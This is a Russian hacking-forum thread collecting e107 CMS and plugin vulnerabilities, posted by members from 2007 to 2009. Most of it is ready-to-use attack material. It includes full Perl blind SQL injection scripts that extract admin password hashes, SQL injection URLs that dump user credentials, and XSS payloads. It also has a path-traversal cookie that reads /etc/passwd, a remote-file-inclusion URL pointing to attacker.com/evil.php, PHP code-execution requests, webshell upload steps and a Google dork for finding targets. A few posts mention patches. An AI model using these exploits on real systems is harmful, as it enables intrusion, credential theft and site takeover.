Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей e107 cms ] (https://forum.antichat.xyz/showthread.php?t=50683)

Nightmarе 16.08.2007 19:18

[ Обзор уязвимостей e107 cms ]
 
САБЖ

ettee 16.08.2007 19:47

Загрузка шела в e107 cms
 
Админка: " Зайгрузки файлов пользователями ": разрешаем загружать загрузки +"нормальный файл", добавляем " .php " в "Разрешённые типы файлов".
В меню появляются "Загрузка", заливаем файл.
target/e107_files/public/file.php +посмотреть полный путь можно через админ панель категория " Зайгрузки файлов пользователями "

blackybr 07.10.2007 12:07

Обзор уязвимостей [e107] cms
 
<=0.6

file create exploit

Уязвимость пристутствует из-за неправильной обработке реквестов к серверу, существует возможность послать свои собственные и создать произвольный файл.



<=0.6.17

Active xss

PoC



0.617

sql inj + remote code exec

Уязвимсоть присутствует из-за плохой проверки на логин. Возможно авторизироваться в админ панели с логином вида
Код:

or isnull(1/0)/*
Затем эксплоит заливает шелл через аплоуд модулей.



<=0.75

globals overwrite
Использует перезапись глобальных переменных с помощью пхп-баги - Zend_Hash_Del_Key_Or_Index

cookie file include
Работвет при register_globals = on, перезаписывает глобальную переменную e_LANGUAGE в кукисах.
Код:

Cookie: e107language_e107cookie=../../../../../../../../../etc/passwd%00


0.7.8

Upload file exploit (нужен админ)
Уязвимость присутствует из-за использования popen ф-ии на параметр $mailer, который пеердается через адресную строку в админ панеле.

Аплоуд файлов в галерее
Нет нормальной проверки на экстеншен. Возможен аплоуд файлов с расширением shell.php.jpg

ettee 07.10.2007 14:42

Multiple XSS in Chatbox, forum posts:
Код HTML:

[img]/imgsrc.png' onmouseover='alert("Vulnerable");[/img]
[link]/link.htm" onmouseover="alert('Vulnerable');[/link]
[email]/foo_at_bar.com"onmouseover="alert('Vulnerable');[/email]
[url]/url.htm" onmouseover="alert('Vulnerable');[/url]

e107 Subject field HTML injection Vulnerability
Код:

In Submit comment:
Subject: '><script>alert(/XSS/)</script>

0.545 & 0.603
e107 with the Chatbox.php (tagboard) module enabled.DoS.
In the Name inputbox of the Chatbox type:
Код:

<script = javascript> alert('DoS') <script>
6.*
Html attachment:
Код:

<html>
<body>
<script>alert('VULN');</script>
</body>
</html>

XSS Vulnerability in "Netquery" (nquser.php) plugin.
Код:

GET http://virtech.org/e107/e107_plugins/netquery/nquser.php HTTP/1.0
Accept: */*
Referer: http://virtech.org/tools/
Accept-Language: en-us
Pragma: no-cache
User-Agent: <script>alert()</script>
Host: virtech.org
Proxy-Connection: Keep-Alive
Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420
Content-length: 0

0.6.15
XSS in "user settings" (usersettings.php):
Код:

http://target/e107_0615/usersettings.php?avmsg=[xss code here]
XSS Vulnerability in "Clock Menu" (clock_menu.php) plugin.
Код:

http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Other RFI:
0.6.15
Код:

http://target/e107_0615/e107_handlers/secure_img_render.php?p=http://attacker.com/evil.php
Other Sql injection:
0.6.15
Sql injection bug in "news.php":
Код:

http://localhost/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
Sql injection bug in "content.php":
Код:

http://localhost/e107_0615/content.php?query=content_id=99%20UNION%20select%20null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/*
Код:

http://localhost/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*

$n@ke 04.07.2008 13:23

Загрузка шела e107 cms
 
вот типа такого, но можно и без таблиц))но
надо знать диру для записи:

Цитата:

http://forum.antichat.ru/showpost.php?p=197748&postcount=22

http://forum.antichat.ru/showpost.php?p=83065&postcount=2

Dr.Z3r0 22.07.2008 02:48

Фу ты блин а я уж думал нету специальной темы под эту цмс. ГГ откопал)

0.7.11 (мб и ранние версии)
Passive XSS

Код:

http://e107/e107_plugins/content/handlers/content_preset.php
POST:addpreset=1&type=select&field=1'><script>alert()</script><&options[0]=1&options[1]=1


1ten0.0net1 26.07.2008 12:03

Эксплоит автора, который пожелал остаться неизвестным (действует в e107 0.7.8 точно, возможно, и других тоже)

Код:

<form action="http://tanibata.ru/contact.php" method="POST">
<input name="send-contactus" value="1"/>
<input name="body" value="This is a test email"/>
<input name="email_send" value="xeka@mail.ru"/>
<input name="author_name" value="user_name_here"/>
<input name="subject" value="It is e107 bug"/><br/>
<input size=200 name="contact_person" value="-999 union select 1,conсat(user_password,char(32),user_loginname,'<xeka@mail.ru>') from e107_user where user_id=1/*"/>
<br/><input type="submit" value="ok"/>
</form>

Само собой, при magic_quotes=On SQL-запрос нужно перекодировать char() или hex (0x..)

Rubaka 30.07.2008 12:51

e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit
Код:

#!/usr/bin/perl
#####################################################################################
#        e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit                  #
#                          ..::virangar security team::..                          #
#                              www.virangar.net                                    #
#                C0d3d BY:virangar security team ( hadihadi  )                    #
#special tnx to:                                                                    #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra                                    #
#& all virangar members & all hackerz                                              #
# my lovely friends hadi_aryaie2004 & arash(imm02tal)                              #
#            ..:::Young Iranina Hackerz::..                                        #
#####################################################################################
#[-] note: becuse e107 using diffrent prefix/table names may it's not work good,but i wrote it for default mod  ;)
#this code is for english e107's only,if you want work on other languages,you can edit line 67;)

use HTTP::Request;
use LWP::UserAgent;

if (@ARGV != 1){
header();
}

$host = $ARGV[0];

print "\n md5 Password:\r\n";
&halghe();
print "\n[+]Done\n";


sub halghe {
for($i = 1; $i <= 32; $i++){
 $f = 0;
 $n = 48;
 while(!$f && $n <= 57)
 {
  if(&inject($host, $i, $n,)){
 $f = 1;
    syswrite(STDOUT, chr($n), 1);
  }
$n++;
}
if(!$f){
$n=97;
while(!$f && $n <= 102)
 {
  if(&inject($host, $i, $n,)){
 $f = 1;
    syswrite(STDOUT, chr($n), 1);
  }
$n++;
}}
}
}
sub inject {
my $site = $_[0];
my $a = $_[1];
my $b = $_[2];

$col = "user_password";

$attack= "$site"."%20and%20substring((select%20"."$col"."%20from%20e107_user%20where%20user_id=1%20limit%200,1),"."$a".",1)=char("."$b".")/*";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content;

if ($res !~ /The user has hidden their blog./i){
    return 1;
}

}
sub header {
print qq{
###################################################################
# e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit        #
#                  (just for english e107's)                      #
#                      www.virangar.net                          #
#  Useage: perl $0 Host                                          #
#                                                                #
#  Host: full patch to macgurublog.php+uid (dont forget http://) #
#                                                                #
#  Example:                                                      #
# perl $0 http://site/macgurublog_menu/macgurublog.php?uid=5      #
#                                                                #
###################################################################
};
}

# milw0rm.com [2008-07-29]


M4g 06.08.2008 16:54

>Эксплоит автора, который пожелал остаться неизвестным (действует в e107 0.7.8 точно, возможно, и других тоже)
это мой)

~!DoK_tOR!~ 10.08.2008 02:59

Description: e107 versions 0.7.11 and below suffer from an arbitrary variable overwriting vulnerability.

Код:

##########################################################
# GulfTech Security Research              August 07, 2008
##########################################################
# Vendor : Steve Dunstan
# URL : http://www.e107.org/
# Version : e107 <= 0.7.11
# Risk : Arbitrary Variable Overwriting
##########################################################


Description:
e107 is a popular full featured content management system written
in php. Unfortunately e107 suffers from an arbitrary variable
overwriting issue within it's download.php file that allows a number
of possible attacks to happen including, but possibly not limited to,
arbitrary php code execution and SQL Injection. No authentication
is required to exploit the issue and it can be exploited regardless
of php magic quotes settings. All users are encouraged to upgrade
their e107 installations as soon as possible.


Arbitrary Variable Overwriting:
There is an arbitrary variable overwrite issue in download.php that
is the result of unsafe usage of the php extract() function. Let's
have a look at the code located in download.php @ lines 85-86

case 'list' :        // Category-based listing
if (isset($_POST['view'])) extract($_POST);

As we see from the above code it is very much possible to overwrite
any variables declared up to this point, but what is the real risk
here? What attacks are possible because of this issue?

view=1&id=-99') UNION SELECT concat(user_name,char(58), user_password),
2,3,4 FROM e107_user WHERE user_id=1/*

One possible attack could involve an attacker sending a post request
to the downloads category view page (download.php?list.1 for example)
with the above data as the post contents, and as a result the username
and pass hash will be displayed in the page title. This SQL Injection
does require magic quotes to be set to it's default value of off.

view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec
(base64_decode($_POST[execute]));

In addition to the SQL Injection is an arbitrary php code execution
vulnerability. I found that it is possible to execute arbitrary php
code by sending a post request to the downloads category view page
with the above data as the post contents. The above example will
successfully execute the "id" shell command regardless if php magic
quotes gpc settings. A valid download category must be available
though, but this is trivial since an attacker can use the previously
explained SQL Injection to gain admin credentials and add a download
category. Other attacks may be possible though since a majority of
the important variables within the script are at risk.

Solution:
A fix for the issue mentioned in this advisory can be found in the
public e107 CVS repository, or accessed directly at the link below.

http://e107.cvs.sourceforge.net/e107/e107_0.7/download.php?r1=1.95&r2=1.96&view=patch&pathrev=MAIN

Credits:
James Bercegay of the GulfTech Security Research Team

Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00122-08072008


chekist 11.08.2008 19:39

view=1&action=maincats&execute=aWQ=&template_load_ core=echo%20exec
(base64_decode($_POST[execute]));

при таком запросе работать не будет, наверно сделали защиту от скрипткидисов

view=1&action=list&template_load_core=phpinfo();

скуль фигня самое страшно php-injection

PHP код:

$template_load_core ' ..... ';
....
switch (
$action)
  {
    case 
'list' :
      if (isset(
$_POST['view'])) extract($_POST);
                    if (
$sql->db_Select("download_category""download_category_name,download_category_description,download_category_parent,download_category_class""(download_category_id='{$id}') AND (download_category_class IN (".USERCLASS_LIST."))") )
      { 
...
eval(
$template_load_core); 

рабочий запрос если в download.php есть хоть одна статья
Код HTML:

POST http://e107 site /download.php?list.1 HTTP/1.0
User-Agent: Opera (Windows NT 5.1; U; si)
Host: www.tarotclub.fr
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
If-None-Match: c858d46e89d4dfb6fcf8add468b46abb
Cookie: e107_tdOffset=7; e107_tdSetTime=1218466444; e107_tzOffset=-240
Cookie2: $Version=1
Proxy-Connection: close

view=1&id=1&template_load_core=phpinfo();

если в download.php нет ниодной статьи и если magic_quotes_gpc OFF можно извратится таким запросом искользуя sql-injection
Код HTML:

POST http://e107 site /download.php?list.1 HTTP/1.0
User-Agent: Opera (Windows NT 5.1; U; si)
Host: www.tarotclub.fr
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
If-None-Match: c858d46e89d4dfb6fcf8add468b46abb
Cookie: e107_tdOffset=7; e107_tdSetTime=1218466444; e107_tzOffset=-240
Cookie2: $Version=1
Proxy-Connection: close

view=1&id=0')/*1*/union/*1*/select/*1*/1,2,3,4/*&template_load_core=phpinfo();

ЗЫ сплойт выкладывать не стал т.к. уже не актуально в e107 апдейт работает хорошо, через пару дней уязвимых сайтов почти не останется, эту багу нашёл 10.07.08

Nightmarе 18.08.2008 23:27

К последним дыркам в download.php есть ли описание как вручную залатать дырки???

Jokester 19.08.2008 19:08

Цитата:

Сообщение от Nightmarе
К последним дыркам в download.php есть ли описание как вручную залатать дырки???

А что, работает?

Я не знаю какую версию смотрели авторы, но у меня на локалке как раз заявленная ими v0.7.11_full

Так вот , всё бы хорошо работало, если-бы там был eval() , но там его нет :D

И кстати. если бы он там был, никакие SQL типа:
Цитата:

id=0')/*1*/union/*1*/select/*1*/1,2,3,4/*
там-бы нужны не были, достаточно просто постом послать (Разумеется download.php?list):
Цитата:

template_load_core=phpinfo();
Я не знаю, может у меня пропатченная, или авторы смотрели старую, был бы благодарен, если-бы кто-то дал CMS с таким кодом посмотреть.

Nightmarе 19.08.2008 20:25

Вот файл:
http://slil.ru/26072120
Это из версии 7.11, с офф сайта качать бесполезно - пропатчили.

Nightmarе 19.08.2008 20:32

Вот файл:
http://slil.ru/26072120
Это из версии 7.11, с офф сайта качать бесполезно - пропатчили.
И там как раз и есть эти строки:
case 'list' : // Category-based listing
if (isset($_POST['view'])) extract($_POST);

Jokester 20.08.2008 00:28

Да, сдесь работает

download.php?list

id=1&template_load_core=phpinfo();

chekist, молодца

chekist 27.08.2008 17:38

в е107 интересные bb коды [flash=50,50]javascript:[xss][/flash],
но есть злобный фильтр
PHP код:

....
if (!
preg_match('/&#|\'|"|\(|\)|<|>/s'$text)) 
{
.... 

единственное что получилось использовать location вместо кавычки использовал слеш

ЗЫ у ково получится по интереснее использовать багу отпишытесь

login999 02.09.2008 02:45

e107 Plugin BLOG Engine v2.2 SQL Injection
 
Код:

#!/usr/bin/perl
##############################################################
# e107 Plugin BLOG Engine v2.2  SQL Injection Exploit        #
#              ..::virangar security team::..              #
#                    www.virangar.net                        #
#        C0d3d BY:virangar security team ( hadihadi  )      #
#special tnx to:                                            #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra              #
#& all virangar members & all hackerz                        #
# my lovely friends hadi_aryaie2004 & arash(imm02tal)        #
#            ..:::Young Iranina Hackerz::..                #
##############################################################
 
 
use HTTP::Request;
use LWP::UserAgent;
 
if (@ARGV != 1){
header();
}
$site = $ARGV[0];
 
$attack= "$site"."?uid=-99999%20union%20select%201,concat(0x3c757365723e,user_name,0x3c757365723e,user_password),3%20from%20e107_user%20where%20user_
id=1/*";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content;
 
if ($res =~ /<user>(.*?)<user>/){
        print "\n[+] Admin User : $1";}
if ($res =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "\n[+]Done\n";}
 
sub header {
print qq{
###################################################################
# e107 Plugin BLOG Engine v2.2  SQL Injection Exploit            #
#                      www.virangar.net                          #
#  Useage: perl $0 Host                                          #
#                                                                #
#  Host: full patch to macgurublog.php (dont forget http://)    #
#                                                                #
#  Example:                                                      #
# perl $0 http://site/macgurublog_menu/macgurublog.php            #
#                                                                #
###################################################################
};
}
#virangar.net[2008-05-22]

# milw0rm.com [2008-09-01]

Содрано с milw0rm.com/exploits/6346

ZAMUT 04.09.2008 17:39

Active XSS

Версия: 0.7.12

Уязвимый кусок кода:
/usersettings.php
PHP код:

...
$_POST['realname'] = $tp->toDB($_POST['realname']);
...
$sql->db_Update("user""{$new_username} {$pwreset} {$sesschange} user_email='".$tp -> toDB($_POST['email'])."',user_signature='".$_POST['signature']."', user_image='".$tp -> toDB($_POST['image'])."', user_timezone='".$tp -> toDB($_POST['timezone'])."',user_hideemail='".intval($tp -> toDB($_POST['hideemail']))."', user_login='".$_POST['realname']."' {$new_customtitle}, user_xup='".$tp ->
            
toDB($_POST['user_xup'])."' WHERE user_id='".intval($inp)."' ");
... 

Эксплоит:
Profile => Click here to update your information => RealName => [Your XSS]

c411k 06.09.2008 20:13

Цитата:

Сообщение от Nightmarе
К последним дыркам в download.php есть ли описание как вручную залатать дырки???

PHP код:

  switch ($action)
  {
    case 
'list' :    // Category-based listing
      
if (isset($_POST['view'])) extract($_POST); 

PHP код:

 switch ($action)
  {
    case 
'list' :    // Category-based listing
      
if (isset($_POST['view'])) extract($_POSTEXTR_SKIP); 


Nightmarе 24.10.2008 23:51

e107 <= 0.7.13 (usersettings.php) Blind SQL Injection Exploit
Уязвимость вышла в свет 21 октября, 2008 © securitylab.ru

Уязвимость существует из-за недостаточной обработки входных данных в ключах массива "ue[]" в сценарии usersettings.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Сам эекслойт под неё:
http://www.securitylab.ru/bitrix/exturl.php?goto=%2Fpoc%2Fextra%2F361578.php

Ну и вопрос, кто нибудь знает как закрыть дырку?

Nightmarе 29.10.2008 05:53

e107 Plugin EasyShop (category_id) Blind SQL Injection Exploit
 
e107 Plugin EasyShop (category_id) Blind SQL Injection Exploit

Сплойт:
http://www.securitylab.ru/bitrix/exturl.php?goto=%2Fpoc%2Fextra%2F361979.php

KentPol 31.10.2008 23:04

SQL-инъекция в e107 Plugin lyrics_menu
 
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «l_id» сценарием lyrics_song.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Эксплоит:
PHP код:

http://localhost/script_path/lyrics_song.php?l_id=[SQL1] or [SQL2]

[SQL1] = column number 15

-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+e107_user-- 


_krad_ 30.11.2008 23:01

Обнаружил кривую обработку смайлов. Возможна XSS-атака

Код:

!<script>alert(document.cookie);</script>
Версию e107 еще уточню.

ZAMUT 01.12.2008 00:31

Уточняй, где конкертно возможно провести xss

Что - то мне подсказывает, что тестил ты под правами админа => там идет кривая обработка в функции фильтрации toDB.

eLWAux 15.12.2008 00:31

Уязвимости модулей e107
 

e107 mam_menu Component Blind-SQLinj
http://e107.ru/e107_files/downloads/mam_menu2.tar.gz

Уязвимый продукт: e107 mam_menu2 (Управление аккаунтами)
Версия: e107 0.7.13, mam_menu2 v1.01

1. Blind sqlInjection
Уязвимость в файле ban.php
Уязвимый кусок кода:
PHP код:

$unban $_GET['accunban'];
if ( 
$unban ){
    
mysql_query("UPDATE $TABLE SET user_ban = '0' WHERE user_id  = $unban");
} else {}; 

Из кода видно, что параметр $unban не обрамляется в кавычки и ранее нигде не фильтруется - это даёт нам возможность провести sql инъекцию.
Так же из кода видно, что данные в таблице обновляютса и не выводятся - это и есть причина слепоты в данной инъекции.


Exploit:
Цитата:

для версии 5: true: /e107_plugins/mam_menu/allaccess/unreg.php?accunban=1+and+if(SUBSTRING(VERSION(),1, 1)=5,1,sleep(4))=1
для версии 5: false: /e107_plugins/mam_menu/allaccess/unreg.php?accunban=1+and+if(SUBSTRING(VERSION(),1, 1)=4,1,sleep(4))=1
данний exploit будет работать только под версии >=5 (причина: визов ф-ции sleep), для более ранних версий надо использовать BENCHMARK

Скрипт для работы со слепыми инъекциями от Grey:
https://forum.antichat.ru/showpost.php?p=894169&postcount=5

eLWAux 15.12.2008 00:31

e107 Easy Members Search v1.0+ XSS
http://e107.org.ru/download.php?view.149

Уязвимый продукт: Easy Members Search v1.0+
Версия: v1.0+
Условия: magic quotes off

1. XSS
Уязвимость в файле ems.php
Уязвимый кусок кода:
PHP код:

$usrname  $_GET['usrname'];
.........
<
input class='tbox' style='width:120px;' type='text' name='usrname' value='".$usrname."' /></td

xss атаку можна произвести из за недостаточной фильтации в файлах class2.php и ems.php

Exploit:
Цитата:

/e107_plugins/ems/ems.php?usrname=test' />sa<b><b
/e107_plugins/ems/ems.php?usrname=test' /><script>alert('xss')</script>
/e107_plugins/ems/ems.php?usrname=test' /><script>alert(/xss/)</script>
/e107_plugins/ems/ems.php?usrname=test' /><script>alert(/xss/)</script><b><b

eLWAux 15.12.2008 00:32

e107 roll_mini v1.2 (каталог терминов) XSS
http://e107.org.ru/download.php?view.221

Уязвимый продукт: roll_mini (каталог терминов)
Версия: v1.2
Условия: magic quotes off

1. XSS
Уязвимость в файле roll.php
Уязвимый кусок кода:
PHP код:

if ($_GET['cat']) $id_cat $_GET['cat']; else $id_cat "1";
if (
$_GET['search']) $search $_GET['search'];
.........
<
input class='tbox' type='hidden' name='cat' size='30' value='".$id_cat."' >
<
input class='tbox' type='text' name='search' size='30' value='".$search."' 

xss атаку можна произвести из за отсуствия фильтации в файле roll.php

Exploit:
Цитата:

/e107_plugins/roll_mini/roll.php?cat=1aaaa<script>alert('xss')</script>

eLWAux 15.12.2008 20:10

coppermine_menu (фотогаллерея) Blind sqlInj
http://web.wilan.com.ru/modules.php?name=Files&go=view_file&lid=115

Уязвимый продукт: coppermine_menu (фотогаллерея)
Версия: v0.3.3

Blind sqlInj
Уязвимость в файле util.php
Уязвимый кусок кода:
PHP код:

$action $_POST['action'];
....
function 
filenametotitle($delete)
{
    
$albumid $_POST['albumid'];
    
$parsemode $_POST['parsemode'];
    ....
    
$query "SELECT * FROM $picturetbl WHERE aid = '$albumid'";
    
$result MYSQL_QUERY($query);
    
$num mysql_numrows($result);
}
......
} else if (
$action == 'title') { ....
filenametotitle(0); ..}
........ 

sqlInj атаку можна произвести из за отсуствия фильтации в POST запросе данних action, albumid

Exploit:
Цитата:

true: \e107_plugins\coppermine_menu\util.php
POST: action=title&albumid=0' 1'='1&parsemode=2

false: \e107_plugins\coppermine_menu\util.php
POST: action=title&albumid=0' 1'='2&parsemode=2

eLWAux 15.12.2008 21:02

EasyShop adminXSS
http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.461

Уязвимый продукт: EasyShop
Условия: нужни права админа(єсли использовать СИ, то можно заставить админа отправить тебе свои куки..))

XSS
Уязвимость в файле admin_main_categories_edit.php
Уязвимый кусок кода:
PHP код:

..
} else if (
$_GET['delete_main_category'] == '1') {
<
a href='admin_main_categories_edit.php?delete_main_category=2&main_category_id=".$_GET['main_category_id']."'>".
... 

задействовать только в совместимости с СИ

Exploit:
Цитата:

/e107_plugins/easyshop/admin_main_categories_edit.php?delete_main_categor y=1&main_category_id=1'><script>alert('xss')</script><a href='admin_main_categories_edit.php

/e107_plugins/easyshop/admin_main_categories_edit.php?delete_main_categor y=1&main_category_id=1'>XSS<temp class='a

ZAMUT 13.01.2009 13:02

Full path disclosure --last upd

Код:

/online.php
/e107_plugins/log/consolidate.php
/e107_plugins/log/log.php
/e107_plugins/pdf/e107pdf.php


ZAMUT 16.01.2009 22:10

Version disclosure --last upd
Код:

/e107_admin/credits.php
/e107_docs/README.html
/e107_docs/README_UPGRADE.html
/e107_files/e107.js
/e107_files/shortcode/sitelinks_alt.sc
/e107_handlers/tiny_mce/plugins/ibrowser/editor_plugin.js


fire64 05.04.2009 17:43

xss в плагине форума, в версии v.0.7.15

заголовок темы не фильтруется

Код:

><script>alert(1)</script><

f1ng3r 15.04.2009 10:19

e107 Plugin userjournals_menu
 
Код:

###################################################################
e107 Plugin userjournals_menu (blog.id) SQL injection vulnerability
###################################################################


###################################################
#[~] Author        :  boom3rang
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  Remote SQL-injection
#[~] Google Dork  :  inurl:"userjournals.php?blog."
-------------------------------------------------- 
#[!] Product Site  :  http://www.bugrain.com
#[!] Download CMS  :  http://www.e107coders.org/download.php?view.1402
#[!] Version      :  v0.7 or later
###################################################


[-] POC:
http://localhost/plugins/userjournals_menu/userjournals.php?blog.[exploit]

[-] Exploit:
-9999 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--

[-] Exploit 2:
-9999 union all select 1,2,null,4,5,6,@@version,8,9,0,11,12,13--

[+] LiveDemo:
http://demo.infozonelab.com/plugins/userjournals_menu/userjournals.php?blog.-9999 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--


###########################
United States of Albania
Proud to be Albanian
R.I.P redc00de
###########################

© milw0rm.com [2009-04-13]

Nightmarе 21.04.2009 02:45

Обнаружил интересную вещь.
Движок e107 так-же неадекватно реагирует на флуд в новостях, если хорошенько зафлудить максимальным количеством символов в 2-3 сообщения, то коментарии к новости вообще никакие не будут отображаться. Любителям сделать гадость на сайте это подойдёт как нельзя кстати.


Решение: ограничить количество символов в сообщениях, или не допускать большое кол-во одинаковых символов\слов в сообщении.

Solide Snake 21.04.2009 23:21

e107 <= 0.7.15 (extended_user_fields) Blind SQL Injection Exploit
 
Код:

#!/usr/bin/env perl
#
# e107 <= 0.7.15 "extended_user_fields" Blind SQL Injection Exploit
#
# Description
# -------------------------------------------------------------------
# e107 contains one flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the "usersettings.php" script
# not properly saniting user-supplied input to the hide[] key.
# This may allow an attacker to inject or manipulate sql queries in
# the backend database if magic_quotes_gpc = off.
# -------------------------------------------------------------------
# Code Details (usersettings.php)
# -------------------------------------------------------------------
# Line 433 - 441
#
# if($ue_fields) {
#    $hidden_fields = implode("^", array_keys($_POST['hide'])); <------ {1}
#   
#    if($hidden_fields != "")
#    {
#        $hidden_fields = "^".$hidden_fields."^"; 
#    }
#    $ue_fields .= ", user_hidden_fields = '".$hidden_fields."'"; <---- {2}
#  }
#
# Line 470 - 476

#  if($ue_fields)
#  {
#    [etc..]
#    $sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");
#  } 

# ue[] POST variable needs a valid key
# such as "aim","msn" or other user_extended_fields
# (@fields array).
#
# Fix this sql injection using (php function)
# mysql_real_escape_string to the POST 'hide' key,
# otherwise find a way to fix it. dont care
# ------------------------------------------
# Discovered & Written
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it

# Thanks to
# ---------------------------------------------
# JosS,girex,str0ke,certaindeath,plucky
# #zeroidentity chan - http://zeroidentity.org
# ---------------------------------------------
# http://www.youtube.com/watch?v=0rgInHvW8Ic
# http://www.youtube.com/watch?v=O2y62xcUJ8E
# ---------------------------------------------

use LWP::UserAgent;


my $prefix = "e107_"; # default table_prefix
my $type_i = undef;
my $sock_u = new LWP::UserAgent;

my ($domain,$user_name,$user_pwd,$target) = @ARGV;


e107::Usage() unless scalar (@ARGV) > 3;
 
e107::Login($user_name,$user_pwd);
$type_i = e107::ExtendedField();
e107::Exploit();
   

sub e107::Usage
{
      print "e107 <= 0.7.15 'extended_user_fields' Blind SQL Injection Exploit\n";
      print "Usage: perl xpl.pl http://[host]/[path] [username] [password] [target id]\n";
      print "Usage: perl xpl.pl http://localhost/e107 yeat an4rchy 1\n";
      exit;
}     

sub e107::Exploit
{
    e107::Vulnerable();
    e107::BruteForce();
}



sub e107::SqlQuery
{
      my ($do_query,$response,$start,$down,$element);
     
      $do_query = $_[0] || die $!;
     
      $start = time();
 
      $response = $sock_u->post($domain.'/usersettings.php',
                              [
                                "email"          => 'doesnt@exists.net',
                                "ue[user_$type_i]" => 1,
                                "hide[$do_query]" => 1,
                                "updatesettings"  => 'Save Settings',
                              ]) or die $!;
      $down = time();
     
      return $down - $start;                           
}



sub e107::CheckField
{
      my ($do_query,$response,$start,$down,$element);
     
      $do_query = $_[0];
      $element  = $_[1] || die $!; 
     
     
      $start = time();
 
      $response = $sock_u->post($domain.'/usersettings.php',
                              [
                                "email"          => 'doesnt@exists.net',
                                "ue[user_$element]" => 1,
                                "hide[$do_query]" => 1,
                                "updatesettings"  => 'Save Settings',
                              ]) or die $!;
      $down = time();
     
      return $down - $start;                           
}
     
     

sub e107::ExtendedField
{
      my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
     
      my $query = "\x27/**/OR/**/CASE/**/WHEN(1>0)/**/THEN".
                  "/**/benchmark(100000000,CHAR(0))/**/END#";
                 
      for (my $i=1;$i<8;$i++) {
           
            if (e107::CheckField($query,$fields[$i]) > 6) {
                return $fields[$i]; last;
            }   
            unless ($i != 8 && $fields[$i]) {
              die("Site not vulnerable..\n");
            }
      }         
}
       
       

sub e107::SqlBrute
{
      my $ascii = $_[0];
      my $limit = $_[1] || 1;
     
      my $sql_query = "\x27/**/OR/**/(SELECT/**/IF((ASCII(SUBSTRING(user_password,$limit,1))".
                      "=$ascii),benchmark(200000000,CHAR(0)),0)/**/FROM/**/${prefix}user/**/".
                      "WHERE/**/user_id=$target)#";
     
      return $sql_query;               
}



sub e107::BruteForce
{
      my $i = 1;
      my @charset = (97..102,48..57);
      my $convert = undef;
      my $result  = undef;
     
     
      for ($i..32) {
           
            foreach $convert (@charset) {
                 
                  if (e107::SqlQuery(e107::SqlBrute($convert,$i)) > 9) {
                      syswrite(STDOUT,chr($convert)); $i++;
                      last; $result .= chr($convert);
                  }             
            }
      }
     
      unless (length($result) != 32) {
          print "\nHash MD5: $result\n";
          print "User ID: $target\n";
      }
}



sub e107::Vulnerable
{           
      my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
     
      for (my $i=1;$i<8;$i++) {
     
            if ($fields[$i] eq $type_i) {
              print "Exploiting..\n"; last;
            }
            else {
              die ("Site not vulnerable..\n");
            }
      }           
}     
   
                       

sub e107::Login
{
        my ($username,$password) = @_;
        my ($result,$response);
       
        $response =  $sock_u->post($domain.'/signup.php',
                                [
                                  username  => $username,
                                  userpass  => $password,
                                  userlogin => 'Login',
                                  autologin => 0
                                ]) or die $!;
       
        $result = $response->as_string;                       
                               
        if ($result =~ /e107cookie=(\d+)\.([0-9a-f]{32})/i) {
